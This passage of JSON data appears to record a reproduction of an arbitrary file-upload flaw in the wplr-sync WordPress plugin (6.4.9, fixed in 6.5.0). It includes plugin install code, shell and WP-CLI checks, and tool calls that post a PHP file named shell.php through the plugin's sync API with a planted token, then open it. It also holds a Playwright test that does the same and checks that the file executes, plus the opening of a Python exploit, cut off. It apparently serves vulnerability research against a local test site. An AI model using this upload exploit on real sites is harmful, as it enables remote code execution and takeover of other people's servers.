BIGINT(20) NULL, sort INT(11) DEFAULT 0, PRIMARY KEY id (id), UNIQUE KEY id (wp_col_id, wp_id) ) \" . $charset_collate . \";\"; dbDelta($sql); $tbl_meta = $wpdb->prefix . \"lrsync_meta\"; $isNewToCollections = ($wpdb->get_var(\"SHOW TABLES LIKE '$tbl_meta'\") != $tbl_meta); $sql = \"CREATE TABLE $tbl_meta ( meta_id BIGINT(20) NOT NULL AUTO_INCREMENT, name TINYTEXT NULL, id BIGINT(20) NULL, value LONGTEXT NULL, PRIMARY KEY id (meta_id) ) \" . $charset_collate . \";\"; dbDelta($sql); \u002F\u002F If this install is new to Collections, insert all the linked \u002F\u002F media in the -1 collection (default one) if ($isNewToCollections) { $wpdb->query(\"INSERT INTO $tbl_relations (wp_col_id, wp_id, sort) SELECT -1, wp_id, 0 FROM $tbl_lrsync\"); } \u002F\u002F The source might be missing, it needs to be set and by default it's Lightroom. $wpdb->query($wpdb->prepare(\"UPDATE $tbl_collections SET source = '%s' WHERE source IS NULL OR source = ''\", 'lr')); \u002F\u002F This is more like cleaning and making sure wp_folder_id is null instead of 0 (that happened to someone somehow). $wpdb->query(\"UPDATE $tbl_collections SET wp_folder_id = NULL WHERE wp_folder_id = '0'\");\n} function meow_wplrsync_uninstall() { \u002F\u002F Better to avoid removing the table... global $wpdb; $tbl_col = $wpdb->prefix . 'lrsync_collections'; $tbl_r = $wpdb->prefix . 'lrsync_relations'; $tbl_m = $wpdb->prefix . 'lrsync_meta'; $tbl_lr = $wpdb->prefix . 'lrsync'; $wpdb->query(\"DROP TABLE IF EXISTS $tbl_col\"); $wpdb->query(\"DROP TABLE IF EXISTS $tbl_r\"); $wpdb->query(\"DROP TABLE IF EXISTS $tbl_lr\"); $wpdb->query(\"DROP TABLE IF EXISTS $tbl_m\");\n} spl_autoload_register(function ($class) { $necessary = true; $file = null; if (strpos($class, 'Meow_WPLR_Sync') !== false) { $file = WPLR_SYNC_PATH . '\u002Fclasses\u002F' . str_replace('meow_wplr_sync_', '', strtolower($class)) . '.php'; } else if (strpos($class, 'MeowKit_WPLR_') !== false) { $file = WPLR_SYNC_PATH . '\u002Fcommon\u002F' . str_replace('meowkit_wplr_', '', strtolower($class)) . '.php'; } else if (strpos($class, 'MeowKitPro_WPLR_') !== false) { $file = WPLR_SYNC_PATH . '\u002Fcommon\u002Fpremium\u002F' . str_replace('meowkitpro_wplr_', '', strtolower($class)) . '.php'; } else if (strpos($class, 'MeowPro_WPLR_Sync') !== false) { $necessary = false; $file = WPLR_SYNC_PATH . '\u002Fpremium\u002F' . str_replace('meowpro_wplr_sync_', '', strtolower($class)) . '.php'; } if ($file) { if (!$necessary && !file_exists($file)) { return; } require($file); }\n}); \u002F\u002Frequire_once( WPLR_SYNC_PATH . '\u002Fclasses\u002Fapi.php');\nrequire_once(WPLR_SYNC_PATH . '\u002Fcommon\u002Fhelpers.php'); global $wplr;\n$wplr = new Meow_WPLR_Sync_Core();\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp eval 'meow_wplrsync_activate();'`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db size --tables`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nName\tSize\nwp_commentmeta\t49152 B\nwp_comments\t98304 B\nwp_links\t32768 B\nwp_options\t1622016 B\nwp_postmeta\t49152 B\nwp_posts\t81920 B\nwp_term_relationships\t32768 B\nwp_term_taxonomy\t49152 B\nwp_termmeta\t49152 B\nwp_terms\t49152 B\nwp_usermeta\t49152 B\nwp_users\t65536 B\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp db query \"SHOW TABLES;\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nTables_in_wp\nwp_commentmeta\nwp_comments\nwp_links\nwp_lrsync\nwp_lrsync_collections\nwp_lrsync_meta\nwp_lrsync_relations\nwp_options\nwp_postmeta\nwp_posts\nwp_term_relationships\nwp_term_taxonomy\nwp_termmeta\nwp_terms\nwp_usermeta\nwp_users\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"(async function() {\\n  const formData = new FormData();\\n  formData.append('action', 'sync');\\n  formData.append('token', 'PwnedToken123');\\n  formData.append('id', '9999');\\n  formData.append('file', 'shell.php');\\n  formData.append('title', 'Exploit');\\n  formData.append('caption', 'Exploit');\\n  formData.append('desc', 'Exploit');\\n  formData.append('altText', 'Exploit');\\n  formData.append('syncTitle', '0');\\n  formData.append('syncCaption', '0');\\n  formData.append('syncDesc', '0');\\n  formData.append('syncAltText', '0');\\n  formData.append('tags', '[]');\\n  \\n  const blob = new Blob(['\u003C?php phpinfo(); ?>'], { type: 'application\u002Fx-php' });\\n  formData.append('file', blob, 'shell.php');\\n\\n  const response = await fetch('\u002F?wplr-sync-api', {\\n    method: 'POST',\\n    body: formData\\n  });\\n  return await response.json();\\n})()\"}","**Shell:** `ls -ld \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ndrwxr-xr-x 3 root root 4096 May 5 17:22 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\n```\n\u003C\u002Fdetails>","**Shell:** `ps aux | grep php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nroot 551 60.0 0.0 3928 2688 ? Ss 17:23 0:00 bash -c ps aux | grep php\nroot 558 0.0 0.0 3328 1536 ? S 17:23 0:00 grep php\n```\n\u003C\u002Fdetails>","**Shell:** `ls -l \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ntotal 4\ndrwxr-xr-x 3 root root 4096 May 5 17:22 2026\n```\n\u003C\u002Fdetails>","**Shell:** `ls -R \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads:\n2026 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F2026:\n05 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F2026\u002F05:\n```\n\u003C\u002Fdetails>","**Shell:** `ls -ld \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F2026\u002F05`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ndrwxr-xr-x 2 root root 4096 May 5 17:22 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F2026\u002F05\n```\n\u003C\u002Fdetails>","**Shell:** `ls -ld \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ndrwxr-xr-x 4 www-data www-data 4096 May 5 17:22 \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\n```\n\u003C\u002Fdetails>","**Shell:** `chown -R www-data:www-data \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"(async function() {\\n  const formData = new FormData();\\n  formData.append('action', 'sync');\\n  formData.append('token', 'PwnedToken123');\\n  formData.append('id', '9999');\\n  formData.append('file', 'shell.php');\\n  formData.append('title', 'Exploit');\\n  formData.append('caption', 'Exploit');\\n  formData.append('desc', 'Exploit');\\n  formData.append('altText', 'Exploit');\\n  formData.append('syncTitle', '0');\\n  formData.append('syncCaption', '0');\\n  formData.append('syncDesc', '0');\\n  formData.append('syncAltText', '0');\\n  formData.append('tags', '[]');\\n  \\n  const blob = new Blob(['\u003C?php echo \\\"Exploited by researcher\\\"; phpinfo(); ?>'], { type: 'application\u002Fx-php' });\\n  formData.append('file', blob, 'shell.php');\\n\\n  const response = await fetch('\u002F?wplr-sync-api', {\\n    method: 'POST',\\n    body: formData\\n  });\\n  return await response.json();\\n})()\"}","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads -name \"shell.php\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002Fshell.php\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002Fshell.php","Creating a PHP shell file and setting up the author user with a sync token.","2026-05-05 17:25:47","6.7","8.3","import { test, expect } from '@playwright\u002Ftest';\n\ntest('reproduce arbitrary file upload in wplr-sync', async ({ page }) => {\n  \u002F\u002F 1. Setup: Create user and set token\n  \u002F\u002F (In a real test environment, this would be done via WP-CLI or setup script)\n  \u002F\u002F For this reproduction, we assume the environment is already prepared or we can use the admin context.\n\n  const TARGET_URL = 'http:\u002F\u002Flocalhost:8080';\n  const TOKEN = 'PwnedToken123';\n\n  \u002F\u002F 2. Perform the exploit via the custom API endpoint\n  const exploitResult = await page.evaluate(async ({ url, token }) => {\n    const formData = new FormData();\n    formData.append('action', 'sync');\n    formData.append('token', token);\n    formData.append('id', '9999');\n    formData.append('file', 'exploit-shell.php');\n    formData.append('title', 'Exploit');\n    formData.append('tags', '[]');\n    \n    const blob = new Blob(['\u003C?php echo \"EXPLOIT_SUCCESS\"; ?>'], { type: 'application\u002Fx-php' });\n    formData.append('file', blob, 'exploit-shell.php');\n\n    const response = await fetch(`${url}\u002F?wplr-sync-api`, {\n      method: 'POST',\n      body: formData\n    });\n    return await response.json();\n  }, { url: TARGET_URL, token: TOKEN });\n\n  expect(exploitResult.success).toBe(true);\n\n  \u002F\u002F 3. Verify the file exists and executes\n  \u002F\u002F We need to find where it was uploaded. The plugin follows WP upload structure.\n  const date = new Date();\n  const year = date.getFullYear();\n  const month = String(date.getMonth() + 1).padStart(2, '0');\n  const shellUrl = `${TARGET_URL}\u002Fwp-content\u002Fuploads\u002F${year}\u002F${month}\u002Fexploit-shell.php`;\n\n  const response = await page.goto(shellUrl);\n  const body = await response?.text();\n  expect(body).toContain('EXPLOIT_SUCCESS');\n});","import requests\nimport sys\n\nTARGET_URL = \"http:\u002F\u002Flocalhost:8080\"\nTOKEN = \"PwnedToken123\" # Set via: wp user meta update \u003Cuser_id> wplr_auth_token \"PwnedToken123\"\n\ndef exploit():\n    url = f\"{TARGET_URL}\u002F?wplr-sync-api\"","full",{"type":86,"vulnerable_version":87,"fixed_version":11,"vulnerable_browse":88,"vulnerable_zip":89,"fixed_browse":90,"fixed_zip":91,"all_tags":92},"plugin","6.4.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwplr-sync\u002Ftags\u002F6.4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwplr-sync.6.4.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwplr-sync\u002Ftags\u002F6.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwplr-sync.6.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwplr-sync\u002Ftags"]